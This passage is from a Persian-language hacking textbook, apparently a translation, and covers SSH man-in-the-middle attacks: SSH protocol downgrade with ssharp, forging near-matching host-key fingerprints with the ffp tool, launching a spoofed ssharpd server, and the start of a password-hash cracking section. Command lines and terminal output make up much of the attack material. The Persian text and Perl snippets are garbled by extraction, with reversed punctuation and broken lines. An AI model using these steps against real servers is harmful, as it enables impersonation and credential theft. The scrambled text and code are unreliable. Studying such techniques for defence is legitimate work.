$ ssh -1 192.168.0.189
103
Identity Spoofing
160
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be
established.
RSA1 key fingerprint is 87:6d:82:7f:15:49:37:af:3f:86:26:da:75:f1:bb:be.
?)Are you sure you want to continue connecting (yes/no
$ ssh -2 192.168.0.189
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be
established.
RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.
?)Are you sure you want to continue connecting (yes/no
$
ﺑﻨﺮ ﻇﺎﻫﺮ ﺷﺪه ﺗﻮﺳﻂ SSH Serverﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ ﺳﺮور ﻗﺎﺑﻠﯿﺖ درک ﮐﺪام ﭘﺮوﺗﮑﻞ را دارد )در زﯾـﺮ ﺑـﻪ ﺻـﻮرت
boldاﺳﺖ(:
$ telnet 192.168.0.193 22
Trying 192.168.0.193...
Connected to 192.168.0.193.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.5p1
Connection closed by foreign host.
$ telnet 192.168.0.189 22
Trying 192.168.0.189...
Connected to 192.168.0.189.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.5p1
Connection closed by foreign host.
ﺑﻨﺮ درﯾﺎﻓﺖ ﺷﺪه از 192.168.0.193ﺣﺎوی رﺷﺘﻪ " "SSH-2.0اﺳﺖ .اﯾﻦ رﺷﺘﻪ ﻧـﺸﺎن ﻣـﯽ دﻫـﺪ ﮐـﻪ ﺳـﺮور ﺗﻨﻬـﺎ ﺑـﺎ
ﭘﺮوﺗﮑﻞ 2ﮔﻔﺖ و ﮔﻮ ﻣﯽ ﮐﻨﺪ .ﺑﻨﺮ درﯾﺎﻓﺖ ﺷﺪه از 192.168.0.189ﺣﺎوی رﺷﺘﻪ " "SSH-1.99اﺳﺖ ﮐـﻪ ﻧـﺸﺎن ﻣـﯽ
دﻫﺪ ﮐﻪ ﺳﺮور ﻣﯽ ﺗﻮاﻧﺪ ﺑﺎ ﻫﺮ دو ﭘﺮوﺗﮑﻞ )ﯾﻌﻨﯽ 1و (2ﮔﻔﺖ و ﮔﻮ ﮐﻨﺪ .ﺑﻪ ﻃﻮر ﻗﺮاردادی ﻋﺒﺎرت " "1.99ﯾﻌﻨﯽ اﻣﮑﺎن
ﮔﻔﺖ و ﮔﻮی ﺳﺮور ﺑﺎ ﻫﺮ دو ﭘﺮوﺗﮑﻞ .اﻏﻠﺐ ﺳﺮورﻫﺎی SSHﺑﺎ ﺧﻄـﯽ ﻣﺎﻧﻨـﺪ " "Protocol 1,2ﭘﯿﮑﺮﺑﻨـﺪی ﻣـﯽ ﺷـﻮد.
ﯾﻌﻨﯽ ﺳﺮور ﺑﺎ ﻫﺮ دو ﭘﺮوﺗﮑﻞ ﮔﻔﺖ و ﮔﻮ ﻣﯽ ﮐﻨﺪ ،اﻣﺎ اوﻟﻮﯾﺖ ﺑﺎ ﭘﺮوﺗﮑﻞ 1اﺳﺖ.
در ﻣﻮرد ﻣﺎﺷﯿﻦ 192.168.0.193واﺿﺢ اﺳﺖ ﮐﻪ ﻫﻤﻪ ﮐﻼﯾﻨﺖ ﻫﺎی ﻣﺘﺼﻞ ﺑﻪ آن ﻓﻘﻂ ﺑﺎ SSH2ﺑـﺎ آن ارﺗﺒـﺎط دارﻧـﺪ،
ﻟﺬا ﻓﻘﻂ اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ﻣﺮﺑﻮط ﺑﻪ ﭘﺮوﺗﮑﻞ 2وﺟﻮد ﺧﻮاﻫﺪ داﺷـﺖ .در ﻣـﻮرد ﻣﺎﺷـﯿﻦ 192.168.0.189اﺣﺘﻤـﺎﻻ
ﮐﻼﯾﻨﺖ ﻫﺎ ﻓﻘﻂ ﺑﺎ SSH1ﻣﺘﺼﻞ ﻫﺴﺘﻨﺪ ،ﻟﺬا ﻓﻘﻂ اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ﻣﺮﺑﻮط ﺑﻪ ﭘﺮوﺗﮑﻞ 1وﺟﻮد ﺧﻮاﻫﺪ داﺷﺖ.
اﮔﺮ دﯾﻤﻦ دﺳﺘﮑﺎری ﺷﺪه SSHو ﻣﻮرد اﺳﺘﻔﺎده در ﺣﻤﻠﻪ ،MiMﮐﻼﯾﻨﺖ را ﻣﺠﺒﻮر ﺑﻪ ارﺗﺒﺎط از ﻃﺮﯾﻖ ﭘﺮوﺗﮑـﻞ دﯾﮕـﺮ
ﮐﻨﺪ ،آﻧﮕﺎه ﻫﯿﭻ اﺛﺮاﻧﮕﺸﺖ ﻣﯿﺰﺑﺎﻧﯽ وﺟﻮد ﻧﺨﻮاﻫﺪ داﺷﺖ .ﺑﻪ ﺟﺎی اﯾﻨﮑﻪ ﮐﺎرﺑﺮ ﺑﺎ ﯾﮏ اﺧﻄﺎر ﻣﻮاﺟﻪ ﺷﻮد ،ﺗﻨﻬﺎ ﻧﺴﺒﺖ ﺑـﻪ
اﺿﺎﻓﻪ ﺷﺪن اﺛﺮاﻧﮕﺸﺖ ﺟﺪﯾﺪ ﻣﻮرد ﺳﻮال ﻗﺮار ﻣﯽ ﮔﯿﺮد .اﺑﺰار ،ssharpدارای ﺣﺎﻟﺘﯽ ) (modeاﺳﺖ ﮐﻪ ﺑﺎ ﻧﻤـﺎﯾﺶ ﺑﻨـﺮ
ﻣﻮرد ﻧﻈﺮ ،ﮐﻼﯾﻨﺖ را ﻣﺠﺒﻮر ﺑﻪ اﺳﺘﻔﺎده از ﭘﺮوﺗﮑﻠﯽ ﻣﯽ ﮐﻨﺪ ﮐﻪ اﺣﺘﻤﺎل اﺳﺘﻔﺎده ﺷـﺪن آن ﮐﻤﺘـﺮ اﺳـﺖ .اﯾـﻦ ﺣﺎﻟـﺖ ﺑـﺎ
ﺳﻮﺋﯿﭻ -7ﻓﻌﺎل ﻣﯽ ﺷﻮد.
ﺧﺮوﺟﯽ زﯾﺮ ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ ﺳﺮور SSHدر Euclidﻣﻌﻤﻮﻻ ﺑﺎ اﺳﺘﻔﺎده از ﭘﺮوﺗﮑﻞ 1ﺑﻪ ﮔﻔﺖ و ﮔﻮ ﻣﯽ ﭘـﺮدازد ،ﻟـﺬا
ﺑﺎ اﺳﺘﻔﺎده از ﺳــﻮﺋﯿﭻ ،-7ﺳﺮور ﺗﻘﻠﺒﯽ ،ﺑﻨﺮی را ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ ﭘﺮوﺗﮑﻞ 2را درﺧﻮاﺳﺖ ﻣﯽ ﮐﻨﺪ.
From machine euclid @ 192.168.0.118 before MiM attack
161
Dude, Stealth speaking here. This is 7350ssharp, a smart
SSH1 & SSH2 MiM attack implementation. It's for demonstration
and educational purposes ONLY! Think before you type ... (<ENTER> or <Ctrl-
)>C
ﮐﻨﺮاد رﯾﮏ ) (Konrad Rieckﻧﻈﺮﯾﻪ ﺟﺎﻟﺒﯽ راﺟﻊ ﺑﻪ اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن در SSHداﺷﺖ .اﻏﻠﺐ ﯾﮏ ﮐـﺎرﺑﺮ ﻣﻤﮑـﻦ
اﺳﺖ از ﮐﻼﯾﻨﺖ ﻫﺎی ﻣﺨﺘﻠﻔﯽ ﺑﻪ ﺑﻪ ﯾﮏ ﺳﺮور ﻣﺘﺼﻞ ﺷﻮد ،ﻟﺬا اﺛﺮاﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ﻫﺮﺑﺎر ﻧﻤﺎﯾﺶ و ﺑﻪ ﻣﺤﻔﻮﻇﺎت ﮐﻼﯾﻨـﺖ
اﺿﺎﻓﻪ ﺧﻮاﻫﺪ ﺷﺪ .ﯾﮏ ﮐﺎرﺑﺮ اﻣﻨﯿﺘﯽ ﻫﻮﺷﯿﺎر ﺑﻪ ﺣﻔﻆ ﮐﺮدن ﺳﺎﺧﺘﺎر ﮐﻠﯽ اﺛﺮاﻧﮕﺸﺖ ﻣﯿﺰﺑـﺎن ﮔـﺮاﯾﺶ ﻧـﺸﺎن ﻣـﯽ دﻫـﺪ.
162
. اﻣﺎ ﺗﻐﯿﯿﺮات اﺳﺎﺳﯽ را ﻣﯽ ﺗﻮان ﺑﺎ اﻧﺪﮐﯽ ﺗﻼش ﻓﻬﻤﯿﺪ،اﮔﺮﭼﻪ ﻫﯿﭻ ﻓﺮدی ﻧﻤﯽ ﺗﻮاﻧﺪ ﺗﻤﺎم اﺛﺮاﻧﮕﺸﺖ را ﺑﻪ ﺧﺎﻃﺮ ﺑﺴﭙﺎرد
اﻣﻨﯿﺖ آن ارﺗﺒﺎط را ﺑﻄﻮر،داﺷﺘﻦ ﺗﺼﻮر ﮐﻠﯽ از ﻇﺎﻫﺮ و ﺳﺎﺧﺘﺎر اﺛﺮاﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ﺑﻪ ﻫﻨﮕﺎم اﺗﺼﺎل ﺑﺎ ﯾﮏ ﮐﻼﯾﻨﺖ ﺟﺪﯾﺪ
در اﯾﻦ ﺻـﻮرت ﺗﻔـﺎوت ﻓـﺎﺣﺶ، ﮔﺮﻓﺘﻪ ﺷﻮدMiM اﮔﺮ ﺗﺼﻤﯿﻢ ﺑﻪ اﺟﺮای ﯾﮏ ﺣﻤﻠﻪ.ﻗﺎﺑﻞ ﻣﻼﺣﻈﻪ ای اﻓﺰاﯾﺶ ﻣﯽ دﻫﺪ
.ﻣﻮﺟﻮد در اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ﻫﺎ را ﻣﻌﻤﻮﻻ ﺑﺎ ﭼﺸﻢ ﻫﻢ ﻣﯽ ﺗﻮان ﺗﺸﺨﯿﺺ داد
ﺑﻌﻀﯽ از اﺛﺮات اﻧﮕﺸﺖ ﻣـﺸﺨﺺ ﻣﻤﮑـﻦ اﺳـﺖ ﺑـﺴﯿﺎر ﺷـﺒﯿﻪ ﺑـﻪ دﯾﮕـﺮ.ﺑﻪ ﻫﺮ ﺣﺎل ﭼﺸﻢ و ﻣﻐﺰ را ﻣﯽ ﺗﻮان ﻓﺮﯾﺐ داد
. ﺷﺒﯿﻪ ﺑﻪ ﻧﻈﺮ آﯾﻨﺪ7 و1 ﻣﻤﮑﻦ اﺳﺖ ارﻗﺎﻣﯽ ﻣﺎﻧﻨﺪ، ﺑﺴﺘﻪ ﺑﻪ ﺧﻂ ﻧﻤﺎﯾﺸﯽ ﻣﻮرد اﺳﺘﻔﺎده.اﺛﺮات اﻧﮕﺸﺖ ﺑﺎﺷﻨﺪ
درﺣﺎﻟﯿﮑـﻪ ارﻗـﺎم،ﻣﻌﻤﻮﻻ ارﻗﺎم ﻣﺒﻨﺎی ﺷﺎﻧﺰده ﻣﻮﺟﻮد در اﺑﺘﺪا و اﻧﺘﻬﺎی اﺛﺮ اﻧﮕﺸﺖ ﺑﻪ وﺿﻮح ﺑﻪ ﺧﺎﻃﺮ ﺳﭙﺮده ﻣﯽ ﺷـﻮﻧﺪ
( ﺑـﺎhost key) ﺗﻮﻟﯿﺪ ﮐﻠﯿﺪﻫﺎی ﻣﯿﺰﺑـﺎن،104 ﻫﺪف ﭘﻨﻬﺎن در ﺗﮑﻨﯿﮏ اﺛﺮاﻧﮕﺸﺖ ﻓﺎزی.ﻣﯿﺎﻧﯽ اﻧﺪﮐﯽ ﻧﺎﻣﻌﻠﻮم ﺧﻮاﻫﻨﺪ ﺑﻮد
.اﺛﺮات اﻧﮕﺸﺘﯽ اﺳﺖ ﮐﻪ ﺑﻪ اﻧﺪازه ﮐﺎﻓﯽ ﺑﻪ اﺛﺮاﻧﮕﺸﺖ اﺻﻠﯽ ﺷﺒﯿﻪ ﺑﺎﺷﻨﺪ ﺗﺎ ﭼﺸﻢ اﻧﺴﺎن را ﻓﺮﯾﺐ دﻫﺪ
: اﺑﺰاری را ﺟﻬﺖ درﯾﺎﻓﺖ ﮐﻠﯿﺪ ﻣﯿﺰﺑﺎن از ﺳﺮورﻫﺎ اراﺋﻪ ﻣﯽ دﻫﺪ،OpenSSH ﺑﺴﺘﻪ
overdose$ ssh-keyscan -t rsa 192.168.0.189 > /tmp/189.hostkey
# 192.168.0.189 SSH-1.99-OpenSSH_3.5p1
overdose$ cat /tmp/189.hostkey
192.168.0.189 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAztDssBM41F7IPw+q/SXRjrqPp0ZazT1gfofdmBx9oVHBcHl
byrJDTdE
hzA2EAXU6YowxyhApWUptpbPru4JW7aLhtCsWKLSFYAkdVnaXTIbWDD8rAfKFLOdaaW0ODxALOR
OxoTYasx
MLWN4Ri0cdwpXZyyRqyYJP72Kqmdz1kjk=
overdose$ ssh-keygen -l -f /tmp/189.hostkey
1024 cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f 192.168.0.189
overdose$
ﻣـﯽ ﺗـﻮان اﺛـﺮات اﻧﮕـﺸﺖ، ﺷﻨﺎﺧﺘﻪ ﺷﺪه اﺳـﺖ192.168.0.189 اﮐﻨﻮن ﮐﻪ ﻗﺎﻟﺐ اﺛﺮاﻧﮕﺸﺖِ ﮐﻠﯿﺪ ﻣﯿﺰﺑﺎن ﺑﺮای ﻣﺎﺷﯿﻦ
ﺑﺮﻧﺎﻣﻪ ای ﺑـﺎ ﻫﻤـﯿﻦ ﻣﻨﻈـﻮر ﺗﻮﺳـﻂ آﻗـﺎی رﯾـﮏ ﺗﻮﺳـﻌﻪ ﯾﺎﻓﺘـﻪ ﮐـﻪ در.ﻓﺎزی را ﺗﻮﻟﯿﺪ ﮐﺮد ﮐﻪ ﺑﺴﯿﺎر ﺷﺒﯿﻪ ﺑﻪ ﻧﻈﺮ آﯾﻨﺪ
ﺧﺮوﺟـﯽ زﯾـﺮ ﺗﻮﻟﯿـﺪ ﭼﻨـﺪ اﺛﺮاﻧﮕـﺸﺖ ﻓـﺎزی را ﺑـﺮای ﻣﺎﺷـﯿﻦ. ﻗﺎﺑﻞ دﺳﺘﺮس اﺳﺖhttp:/thc.org/thc-ffp/ وﺑﺴﺎﯾﺖ
: ﻧﺸﺎن ﻣﯽ دﻫﺪ192.168.0.189
overdose$ ffp
Usage: ffp [Options]
Options:
-f type Specify type of fingerprint to use [Default: md5]
Available: md5, sha1, ripemd
-t hash Target fingerprint in byte blocks.
Colon-separated: 01:23:45:67... or as string 01234567...
-k type Specify type of key to calculate [Default: rsa]
Available: rsa, dsa
-b bits Number of bits in the keys to calculate [Default: 1024]
-K mode Specify key calulation mode [Default: sloppy]
Available: sloppy, accurate
-m type Specify type of fuzzy map to use [Default: gauss]
Available: gauss, cosine
-v variation Variation to use for fuzzy map generation [Default: 7.3]
-y mean Mean value to use for fuzzy map generation [Default: 0.14]
-l size Size of list that contains best fingerprints [Default: 10]
-s filename Filename of the state file [Default: /var/tmp/ffp.state]
-e Extract SSH host key pairs from state file
-d directory Directory to store generated ssh keys to [Default: /tmp]
-p period Period to save state file and display state [Default: 60]
-V Display version information
No state file /var/tmp/ffp.state present, specify a target hash.
$ ffp -f md5 -k rsa -b 1024 -t
cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
.ﻣﯽ ﺗﻮان از ﻟﻔﻆ "ﺗﯿﺮه" در اﯾﻦ ﮐﺎرﺑﺮد از اﯾﻦ ﮐﻠﻤﻪ اﺳﺘﻔﺎده ﮐﺮد104
163
---[Initializing]----------------------------------------------------------
----
Initializing Crunch Hash: Done
Initializing Fuzzy Map: Done
Initializing Private Key: Done
Initializing Hash List: Done
Initializing FFP State: Done
---[Fuzzy Map]-------------------------------------------------------------
----
Length: 32
Type: Inverse Gaussian Distribution
Sum: 15020328
Fuzzy Map: 10.83% | 9.64% : 8.52% | 7.47% : 6.49% | 5.58% : 4.74% |
3.96% :
3.25% | 2.62% : 2.05% | 1.55% : 1.12% | 0.76% : 0.47% |
0.24% :
0.09% | 0.01% : 0.00% | 0.06% : 0.19% | 0.38% : 0.65% |
0.99% :
1.39% | 1.87% : 2.41% | 3.03% : 3.71% | 4.46% : 5.29% |
6.18% :
---[Current Key]-----------------------------------------------------------
----
Key Algorithm: RSA (Rivest Shamir Adleman)
Key Bits / Size of n: 1024 Bits
Public key e: 0x10001
Public Key Bits / Size of e: 17 Bits
Phi(n) and e r.prime: Yes
Generation Mode: Sloppy
---[Current State]---------------------------------------------------------
----
Running: 0d 00h 00m 00s | Total: 0k hashs | Speed: nan hashs/s
---------------------------------------------------------------------------
----
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: ab:80:18:e2:4d:4b:1b:fa:e0:8c:1c:4d:c5:9c:bc:ef
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 30.715288%
---[Current State]---------------------------------------------------------
----
Running: 0d 00h 01m 00s | Total: 5373k hashs | Speed: 89556
hashs/s
---------------------------------------------------------------------------
----
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: cc:8b:1d:d9:8b:0f:c8:5f:f0:d7:a8:8f:3b:10:fe:3f
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 54.822385%
---[Current State]---------------------------------------------------------
----
164
Running: 0d 00h 02m 00s | Total: 10893k hashs | Speed: 90776
hashs/s
---------------------------------------------------------------------------
----
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: cc:8b:1d:d9:8b:0f:c8:5f:f0:d7:a8:8f:3b:10:fe:3f
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 54.822385%
[output trimmed]
---[Current State]---------------------------------------------------------
----
Running: 7d 00h 57m 00s | Total: 52924141k hashs | Speed: 87015
hashs/s
---------------------------------------------------------------------------
----
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: cc:80:12:55:eb:ef:9e:8e:53:bd:c7:9c:18:90:d5:0f
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 69.035430%
---------------------------------------------------------------------------
----
Exiting and saving state file /var/tmp/ffp.state
ﺑﺮﻧﺎﻣـﻪ از ﻟﺤـﺎظ ﺳـﺎﺧﺘﺎری اﻃﻼﻋـﺎت ﻣﺮﺑـﻮط ﺑـﻪ.ﻓﺮآﯾﻨﺪ ﺗﻮﻟﯿﺪ اﺛﺮاﻧﮕﺸﺖ ﻓﺎزی را ﻣﯽ ﺗﻮان ﺗﺎ زﻣﺎن ﻣﻄﻠـﻮب اراﺋـﻪ داد
105
ﺗﻤﺎم اﻃﻼﻋﺎت وﺿـﻌﯿﺘﯽ.ﭼﻨﺪﺗﺎ از ﺑﻬﺘﺮﯾﻦ اﺛﺮات اﻧﮕﺸﺖ را ﻧﮕﻬﺪاری ﮐﺮده و در ﻓﻮاﺻﻞ ﻣﻌﯿﻦ آﻧﻬﺎ را ﻧﺸﺎن ﻣﯽ دﻫﺪ
ﻣﺘﻮﻗﻒ ﮐﺮد و در زﻣﺎﻧﻬﺎی ﺑﻌـﺪی ﺑـﺎCtrl+C ﻟﺬا ﻣﯽ ﺗﻮان ﺑﺮﻧﺎﻣﻪ را ﺑﺎ، ذﺧﯿﺮه ﻣﯽ ﺷﻮﻧﺪ/var/tmp/ffp.state در ﻓﺎﯾﻞ
.(resume) ﻣﺠﺪدا ﮐﺎر را اداﻣﻪ داد، ﺑﺪون ﻫﯿﭻ آرﮔﻮﻣﺎنffp اﺟﺮای ﺑﺮﻧﺎﻣﻪ
را از106SSH – ﻣﯽ ﺗـﻮان زوج ﻫـﺎی ﮐﻠﯿـﺪ ﻣﯿﺰﺑـﺎن ﺑـﺮایe ﭘﺲ از ﮔﺬﺷﺘﻦ ﻣﺪﺗﯽ از اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﺑﺎ اﺳﺘﻔﺎده از ﺳﻮﺋﯿﭻ
.ﻓﺎﯾﻞ وﺿﻌﯿﺖ اﺳﺘﺨﺮاج ﮐﺮد
overdose$ ffp -e -d /tmp
---[Restoring]-------------------------------------------------------------
----
Reading FFP State File: Done
Restoring environment: Done
Initializing Crunch Hash: Done
---------------------------------------------------------------------------
----
Saving SSH host key pairs: [00] [01] [02] [03] [04] [05] [06] [07] [08] [09]
overdose$ ls /tmp/ssh-rsa*
/tmp/ssh-rsa00 /tmp/ssh-rsa02.pub /tmp/ssh-rsa05 /tmp/ssh-
rsa07.pub
/tmp/ssh-rsa00.pub /tmp/ssh-rsa03 /tmp/ssh-rsa05.pub /tmp/ssh-rsa08
/tmp/ssh-rsa01 /tmp/ssh-rsa03.pub /tmp/ssh-rsa06 /tmp/ssh-
rsa08.pub
/tmp/ssh-rsa01.pub /tmp/ssh-rsa04 /tmp/ssh-rsa06.pub /tmp/ssh-rsa09
/tmp/ssh-rsa02 /tmp/ssh-rsa04.pub /tmp/ssh-rsa07 /tmp/ssh-
rsa09.pub
overdose$
105
State Information
106
SSH Host Key Pairs
165
ﻣﯽ ﺗﻮان اﺛﺮات اﻧﮕـﺸﺖ ﻣﺮﺑـﻮط ﺑـﻪ آن زوج.در ﻣﺜﺎل ﻗﺒﻠﯽ ده زوج از ﮐﻠﯿﺪﻫﺎی ﻋﻤﻮﻣﯽ و ﻣﺤﺮﻣﺎﻧﻪ ﻣﯿﺰﺑﺎن ﺗﻮﻟﯿﺪ ﺷﺪﻧﺪ
: در زﯾﺮ اﯾﻦ ﻣﻄﻠﺐ ﻧﺸﺎن داده ﺷﺪه اﺳﺖ.ﮐﻠﯿﺪﻫﺎ را ﺗﻮﻟﯿﺪ و ﺑﺎ اﺛﺮاﻧﮕﺸﺖ اﺻﻠﯽ ﻣﻘﺎﯾﺴﻪ ﮐﺮد
overdose$ ssh-keygen -l -f /tmp/189.hostkey
1024 cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f 192.168.0.132
overdose$ ls -1 /tmp/ssh-rsa??.pub | xargs -n 1 ssh-keygen -l -f
1024 cc:80:12:55:eb:ef:9e:8e:53:bd:c7:9c:18:90:d5:0f /tmp/ssh-rsa00.pub
1024 cc:80:18:7a:7c:ce:bd:47:00:9c:38:5d:8e:50:5d:0f /tmp/ssh-rsa01.pub
1024 ec:80:12:74:8b:a5:a3:ef:62:7c:29:9a:e8:10:57:0f /tmp/ssh-rsa02.pub
1024 cc:80:12:71:83:d3:aa:b4:f6:8c:d7:56:62:da:2e:0d /tmp/ssh-rsa03.pub
1024 cc:8c:10:d5:8f:79:52:65:8c:a2:e2:17:86:15:5e:0f /tmp/ssh-rsa04.pub
1024 cc:8b:12:7e:71:49:4e:08:db:c8:28:b7:5e:00:09:0f /tmp/ssh-rsa05.pub
1024 cc:80:12:54:8d:de:29:9d:b4:e7:5e:c8:40:40:7e:0c /tmp/ssh-rsa06.pub
1024 cc:80:12:70:83:a1:3a:ab:78:8d:38:97:7f:f5:d6:bf /tmp/ssh-rsa07.pub
1024 cc:80:92:76:83:8c:be:38:dc:f1:0e:45:ab:2e:53:0f /tmp/ssh-rsa08.pub
1024 cc:80:11:7d:88:a4:f7:f8:93:69:60:28:3b:1c:1e:5f /tmp/ssh-rsa09.pub
overdose$
ssh-rsa00.pub ، در اﯾـﻦ ﻣـﻮرد. ﻣﺸﺎﺑﻪ ﺗﺮﯾﻦ ﺟﻔﺖ را ﻣﯽ ﺗـﻮان ﺑـﺎ ﭼـﺸﻢ اﻧﺘﺨـﺎب ﮐـﺮد،از ده ﺟﻔﺖ ﮐﻠﯿﺪ ﺗﻮﻟﯿﺪ ﺷﺪه
، ﻃﺮف ﻧﻈﺮ از اﯾﻨﮑﻪ ﮐﺪام ﺟﻔﺖ ﮐﻠﯿﺪ اﻧﺘﺨـﺎب ﺷـﺪه اﺳـﺖ.( ﻧﺸﺎن داده ﺷﺪه اﺳﺖbold اﻧﺘﺨﺎب ﺷﺪه اﺳﺖ )ﺑﻪ ﺻﻮرت
ﺣﺪاﻗﻞ ﻣﯽ ﺗﻮان ﻣﻄﻤﺌﻦ ﺑﻮد ﮐﻪ ﺟﻔﺖ اﻧﺘﺨﺎب ﺷﺪه ﺑﯿﺸﺘﺮ ﺑﻪ اﺛﺮاﻧﮕﺸﺖ اﺻﻠﯽ ﺷﺒﯿﻪ اﺳﺖ ﺗﺎ ﯾﮏ ﺟﻔـﺖ ﺗﻮﻟﯿـﺪ ﺷـﺪه ﺑـﻪ
.ﺻﻮرت ﺗﺼﺎدﻓﯽ
ﻫﻤـﺎن ﻃـﻮر، ﭘﯽ رﯾﺰی ﮐﺮدSSH ﻣﻮﺛﺮﺗﺮ را رویMiM اﺳﺘﻔﺎده ﮐﺮد ﺗﺎ ﯾﮏ ﺣﻤﻠﻪssharpd ﮐﻠﯿﺪ ﺟﺪﯾﺪ را ﻣﯽ ﺗﻮان ﺑﺎ
:ﮐﻪ در ﺧﺮوﺟﯽ زﯾﺮ ﻧﯿﺰ دﯾﺪه ﻣﯽ ﺷﻮد
On overdose @ 192.168.0.193
overdose# ./ssharpd -h /tmp/ssh-rsa00 -p 1337
166
.4,6ﮐﺮک ﮐﺮدن ﭘﺴﻮردﻫﺎ
ﭘﺴﻮردﻫﺎ در ﺣﺎﻟﺖ ﮐﻠﯽ ﺑﻪ ﺻﻮرت ﻣﺘﻦ واﺿﺢ ) (plaintextذﺧﯿﺮه ﻧﻤـﯽ ﺷـﻮﻧﺪ .ﻓـﺎﯾﻠﯽ ﮐـﻪ ﺣـﺎوی ﺗﻤـﺎم ﭘـﺴﻮردﻫﺎ ﺑـﻪ
ﺻﻮرت ﻣﺘﻦ واﺿﺢ ﺑﺎﺷﺪ ،ﺣﺘﻤﺎ ﻣﻮرد ﻫﺪف ﻗﺮار ﻣﯽ ﮔﯿﺮد ،ﻟـﺬا از ﯾـﮏ ﺗـﺎﺑﻊ ﯾـﮏ-ﻃﺮﻓـﻪ 107ﻫـﺶ اﺳـﺘﻔﺎده ﻣـﯽ ﺷـﻮد.
ﻣﺸﻬﻮرﺗﺮﯾﻦ ﺗﺎﺑﻊ در در ﻣﯿﺎن اﯾﻦ ﺗﻮاﺑﻊ crypt() ،ﻧﺎم دارد ﮐﻪ ﺑﺮ ﻣﺒﻨﺎی DESاﺳﺖ .اﻟﮕـﻮرﯾﺘﻢ ﻫـﺎی ﻣﻌـﺮوف دﯾﮕـﺮی
ﺑﺮای ﻫﺶ ﮐﺮدن ﭘﺴﻮردﻫﺎ وﺟﻮد دارد ﮐﻪ MD5و Blowfishاز ﺟﻤﻠﻪ آﻧﻬﺎ ﻫﺴﺘﻨﺪ.
ورودی ﻣﻮرد اﻧﺘﻈﺎر ﯾﮏ ﺗﺎﺑﻊ ﯾﮏ ﻃﺮﻓﻪ ﻫﺶ ،ﯾﮏ رﻣﺰﻋﺒﻮر ﺑﻪ ﺻﻮرت ﻣﺘﻦ واﺿﺢ و ﯾﮏ ﻣﻘﺪار saltاﺳﺖ .ﺧﺮوﺟﯽ اﯾﻦ
ﺗﺎﺑﻊ ،ﯾﮏ ﻫﺶ اﺳﺖ ﮐﻪ ﻣﻘﺪار ورودی saltﺑﻪ اﺑﺘﺪای آن اﺿﺎﻓﻪ ﺷﺪه اﺳﺖ .اﯾﻦ ﻫﺶ از ﻟﺤﺎظ رﯾﺎﺿﯽ ﺑﺮﮔـﺸﺖ ﻧﺎﭘـﺬﯾﺮ
اﺳﺖ ،ﯾﻌﻨﯽ ﺗﻌﯿﯿﻦ ﭘﺴﻮرد اﺻﻠﯽ ﺗﻨﻬﺎ ﺑﺎ اﺳﺘﻔﺎده از ﻫﺶ ﻏﯿﺮﻣﻤﮑﻦ اﺳﺖ .ﭘﺮل ﺗﺎﺑﻊ درون ﺳـﺎﺧﺘﯽ ﺑـﻪ ﻧـﺎم )( cryptدارد
ﮐﻪ اﺑﺰار ﻣﻔﯿﺪی ﺑﺮای ﻧﻤﺎﯾﺶ و ﺷﺮح ﻣﺜﺎﻟﻬﺎ اﺳﺖ.
File: hash.pl
#!/usr/bin/perl
;"$plaintext = "test"; $salt = "je
;)$hash = crypt($plaintext, $salt
;"print "crypt($plaintext, $salt) = $hash\n
ﺧﺮوﺟﯽ زﯾﺮ از اﺳﮑﺮﯾﭙﺖ ﭘﺮل ﺑﺎﻻ اﺳﺘﻔﺎده ﮐﺮده و ﺑﺎ اﺟﺮا در ﺳﻄﺢ ،command-lineﺑـﺎ اﺳـﺘﻔﺎده از ﻣﻘـﺎدﯾﺮ ﻣﺨﺘﻠـﻒ
،saltﻣﻘﺎدﯾﺮ ﻣﻮﺟﻮد را ﺑﺎ ﺗﺎﺑﻊ )( cryptﻫﺶ ﻣﯽ ﮐﻨﺪ.
$ ./hash.pl
crypt(test, je) = jeHEAX1m66RV.
';"$ perl -e '$hash = crypt("test", "je"); print "$hash\n
jeHEAX1m66RV.
';"$ perl -e '$hash = crypt("test", "xy"); print "$hash\n
xyVSuHLjceD92
$
